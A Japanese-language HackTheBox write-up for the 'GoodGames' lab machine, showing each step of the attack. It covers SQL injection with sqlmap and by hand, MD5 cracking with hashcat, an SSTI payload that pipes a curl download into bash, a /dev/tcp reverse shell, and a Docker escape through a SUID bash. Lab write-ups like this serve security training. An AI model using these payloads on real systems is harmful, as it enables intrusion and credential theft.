🍏

【HackTheBox】GoodGames Writeup

2023/05/23に公開

Enumeration

nmap

port 80がopenになっています。

Website Enumeration

サイトにアクセスしてみるとこんな感じです。

gobusterの結果はこれです。カスタムの404ページがあるので、レスポンスのlengthでフィルターします。

┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.11.130 --exclude-length 9265
===============================================================
...[snip]...
===============================================================
/blog                 (Status: 200) [Size: 44212]
/forgot-password      (Status: 200) [Size: 32744]
/login                (Status: 200) [Size: 9294]
/logout               (Status: 302) [Size: 208] [--> http://10.10.11.130/]
/profile              (Status: 200) [Size: 9267]
/server-status        (Status: 403) [Size: 277]
/signup               (Status: 200) [Size: 33387]
Progress: 4614 / 4615 (99.98%)
===============================================================

ユーザーのアクション関連のリンクが結構ありました。
適当にユーザーを作って、ログインした状態でさらにenumerationしてみましたが、攻撃できそうなところがなさそうでした。ブログのコメント投稿も、ユーザー情報の編集もdummyでした。

操作できるのはユーザーの登録とログインだけみたいなので、ログインフォームのSQLiをチェックしてみようと思います。burpでリクエストをみるとこんな感じになっています。

SQLi

Using sqlmap

sqlmapでインジェクションできそうか調べます。

┌──(kali㉿kali)-[~]
└─$ sqlmap 'http://10.10.11.130/login' --data 'email=test@test.com&password=testpw' 
...[snip]...
---
Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=test@test.com' AND (SELECT 9287 FROM (SELECT(SLEEP(5)))DVZc) AND 'YumH'='YumH&password=testpw
---

time-based blind injectionができるみたいです。ではdb、tablesを確認していきます。

┌──(kali㉿kali)-[~]
└─$ sqlmap 'http://10.10.11.130/login' --data 'email=test@test.com&password=testpw' --batch -D main --tables
...[snip]...
available databases [2]:
[*] information_schema
[*] main

mainの中のテーブルを見てみます。

┌──(kali㉿kali)-[~]
└─$ sqlmap 'http://10.10.11.130/login' --data 'email=test@test.com&password=testpw' --batch -D main --tables
...[snip]...
Database: main
[3 tables]
+---------------+
| user          |
| blog          |
| blog_comments |
+---------------+

userテーブルの中身をdumpします。sqlmapの中のパスワードクラックも実行します。

┌──(kali㉿kali)-[~]
└─$ sqlmap 'http://10.10.11.130/login' --data 'email=test@test.com&password=testpw' --batch -D main -T user --dump
...[snip]...
Database: main                                                                          
Table: user
[2 entries]
+----+-------+---------------------+-------------------------------------------+
| id | name  | email               | password                                  |
+----+-------+---------------------+-------------------------------------------+
| 1  | admin | admin@goodgames.htb | 2b22337f218b2d82dfc3b6f77e7cb8ec          |
| 2  | test  | test@test.com       | 8eee3efdde1eb6cf6639a58848362bf4 (testpw) |
+----+-------+---------------------+-------------------------------------------+

さっき作ったテストユーザーとadminの情報がありました。adminのパスワードはsqlmapでクラックできなかったので、後でhashcatでクラックします。

Manual SQLi

sqlmapのtime-based blind injectionが遅すぎて、実行している間に手動でSQLiやってみました。
'or 1=1 -- で簡単にlogin bypassできました。

union injectionを試していきます。まずはカラムの数をテストします。4でいけました。

dbの名前を確認したら、mainでした。

mainの中のtableを確認すると、blog, blog_comments, userがありました。

credentailsはたぶんuserテーブルにあるので、userのカラムを確認します。
id, email, password, nameがありました。文字列がくっついてみづらいのでconcatで少しフォーマット整えばよかった、、

ではuserテーブルの中身をみます。問題なく中身を見ることができました。
シンプルなunion injectionだったので、sqlmapのtime-based blindより全然速かったです。

Crack Admin Password

hashの種類を調べてみます。

┌──(kali㉿kali)-[~]
└─$ hashid -m -j 2b22337f218b2d82dfc3b6f77e7cb8ec
Analyzing '2b22337f218b2d82dfc3b6f77e7cb8ec'
[+] MD2 [JtR Format: md2]
[+] MD5 [Hashcat Mode: 0][JtR Format: raw-md5]
[+] MD4 [Hashcat Mode: 900][JtR Format: raw-md4]
[+] Double MD5 [Hashcat Mode: 2600]

一番上に出てきたのはmd2ですが、hashcatはmd2のモードがないのでとりあえず2番目のmd5でクラックしてみます。

┌──(kali㉿kali)-[~]
└─$ hashcat -m 0 -a 0 hash /usr/share/wordlists/rockyou.txt 
...[snip]...
2b22337f218b2d82dfc3b6f77e7cb8ec:superadministrator       

パスワードはsuperadministratorでした。ではadmin@goodgames.htb:superadministratorでログインします。
ログインすると、右上に今までなかったアイコンが出てきました。

クリックするとhttp://internal-administration.goodgames.htb/loginに遷移したので、このsubdomainを/etc/hostsに入れます。

admin:superadministratorで入れました。

Admin Dashboard Enumeration

いろいろ見てみましたが、実際操作できる機能はユーザー情報の編集だけでした(file upload, add new tasksはdummyでした)。編集フォームのnameのところでcommand injectionを試します。
{{7*7}}を名前のところに入れてみます。

{{config}}を入れるとこうなります。インジェクションの脆弱性が確認できました。

Foothold

SSTI & User Flag

command injectionでreverse shell取ります。
reverse shellのスクリプト作って、serverを起動します。

┌──(kali㉿kali)-[~]
└─$ echo '/bin/sh -i >& /dev/tcp/10.10.14.9/9001 0>&1' > bashrevshell

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

payloadを{{request.application.__globals__.__builtins__.__import__('os').popen('curl http://10.10.14.9:80/bashrevshell | bash').read()}}にしてsubmitするとshellが取れました。

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001                       
listening on [any] 9001 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.11.130] 58290
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# ls
Dockerfile
project
requirements.txt

Dockerfileがあったのでここはコンテナの中みたいです。コンテナのroot権限は持っています。
フラグ読めるかどうか試します。

# python3 -c 'import pty; pty.spawn("/bin/bash")'
root@3a453ab39d3d:/# cd /home
root@3a453ab39d3d:/home# ls  
augustus
root@3a453ab39d3d:/home# ls augustus
user.txt

userフラグゲットできました。
/rootroot.txtがなかったので、コンテナから出て本当のサーバーに入らないといけないです。

Docker Escape

Container Enumeration

Find Mounted Directories

/home/augustuslsするとこんな感じです。
file ownerはユーザーの名前ではなく1000になっていますので、このディレクトリはdocker hostからマウントしたっぽいです。(詳細:https://www.baeldung.com/linux/file-ownership-docker-container)

root@3a453ab39d3d:/home/augustus# ls -l
-rw-r----- 1 root 1000   33 May 21 12:09 user.txt

findmntでも確認してみます。やはりhostからマウントしています。

root@3a453ab39d3d:/home/augustus# findmnt | grep augustus
├─/home/augustus                      /dev/sda1[/home/augustus]               

Discover Docker Host

ifconfigを確認すると、このコンテナのアドレスは172.19.0.2でした。172.19.0.1は多分docker hostですが、nmapを実行して確認します。

root@3a453ab39d3d:/backend# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.19.0.2  netmask 255.255.0.0  broadcast 172.19.255.255
        ether 02:42:ac:13:00:02  txqueuelen 0  (Ethernet)
        RX packets 1306  bytes 236423 (230.8 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1027  bytes 438702 (428.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

githubからnmapのbinaryをローカルにダウンロードして、shellの中でwgetします。権限変更したら、subnetをスキャンします。

root@3a453ab39d3d:/backend# wget http://10.10.14.9:80/nmap_binary/nmap
root@3a453ab39d3d:/backend# chmod 777 nmap
root@3a453ab39d3d:/backend# ./nmap 172.19.0.0/24 -Pn

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-05-21 13:35 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.19.0.1
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.000021s latency).
Not shown: 1205 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:42:11:83:DB:CE (Unknown)

Nmap scan report for 3a453ab39d3d (172.19.0.2)
Host is up (0.000025s latency).
All 1207 scanned ports on 3a453ab39d3d (172.19.0.2) are closed

Nmap done: 256 IP addresses (2 hosts up) scanned in 19.70 seconds

予想通り172.19.0.1が動いていました。sshも使えそうです。

SSH Login

augustus:superadministratorでログインできました。
これで本当のサーバーに入れました、次は権限昇格です。

root@3a453ab39d3d:/home/augustus# ssh augustus@172.19.0.1

Privilege Escalation

もう一つのterminalでroot@3a453ab39d3dのreverse shellを取ります。root@3a453ab39d3daugustus@GoodGames両方使ってpriv escしていきます。

試しにroot@3a453ab39d3d/home/augustusにファイルを作ってみます。

root@3a453ab39d3d:/home/augustus# touch from-docker-root   
root@3a453ab39d3d:/home/augustus# ls -l
-rw-r--r-- 1 root root    0 May 22 13:19 from-docker-root
-rw-r----- 1 root 1000   33 May 22 13:13 user.txt

augustus@GoodGames側からみるとこんな感じです。ファイルの所有者がrootになっています。コンテナ側のrootも普通のroot扱いになっているみたいです。

augustus@GoodGames:~$ ls -l
-rw-r--r-- 1 root     root        0 May 22 14:19 from-docker-root
-rw-r----- 1 root     augustus   33 May 22 14:13 user.txt

augustus@GoodGames側で/bin/bash/home/augustusにコピーして、コンテナ側(root)でSUIDを設定をするとroot shell取れるはずです。

docker host側
augustus@GoodGames:~$ cp /bin/bash .
コンテナ側
root@3a453ab39d3d:/home/augustus# chown root:root bash
root@3a453ab39d3d:/home/augustus# chmod 4777 bash
root@3a453ab39d3d:/home/augustus# ls -l
-rwsrwxrwx 1 root root 1234376 May 22 13:26 bash
-rw-r--r-- 1 root root       0 May 22 13:19 from-docker-root
-rw-r----- 1 root 1000      33 May 22 13:13 user.txt
docker host側
augustus@GoodGames:~$ ./bash -p
bash-5.1# whoami
whoami
root
bash-5.1# cat /root/root.txt

rootフラグ取れました。

Notes

初めてpriv escを試した時はhost側のbashではなく、コンテナ側のbashを/home/augustusにコピーしました。shared libraryのエラーで失敗したのでメモと残します、、

コンテナ
root@3a453ab39d3d:/home/augustus# cp /bin/bash .
root@3a453ab39d3d:/home/augustus# chmod 4777 ./bash
docker host
augustus@GoodGames:~$ ./bash -p
./bash -p
./bash: error while loading shared libraries: libtinfo.so.5: cannot open shared object file: No such file or directory

lssで依存関係を確認してみたら、確かにdocker host側はlibtinfo.so.5がありませんでした。host側のbashを使わないといけないです。

コンテナ
root@3a453ab39d3d:/home/augustus# ldd bash
        linux-vdso.so.1 (0x00007ffc98de6000)
        libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007ff639548000)
        libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ff639344000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff638fa5000)
        /lib64/ld-linux-x86-64.so.2 (0x00007ff639772000)
docker host
augustus@GoodGames:~$ ldd bash
        linux-vdso.so.1 (0x00007fff659b0000)
        libtinfo.so.5 => not found
        libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f0b47867000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0b476a2000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f0b47876000)

Memo

SQLi, SSTI, docker escape, SUID abuseなどいろいろ練習できて楽しいマシーンでした。

Discussion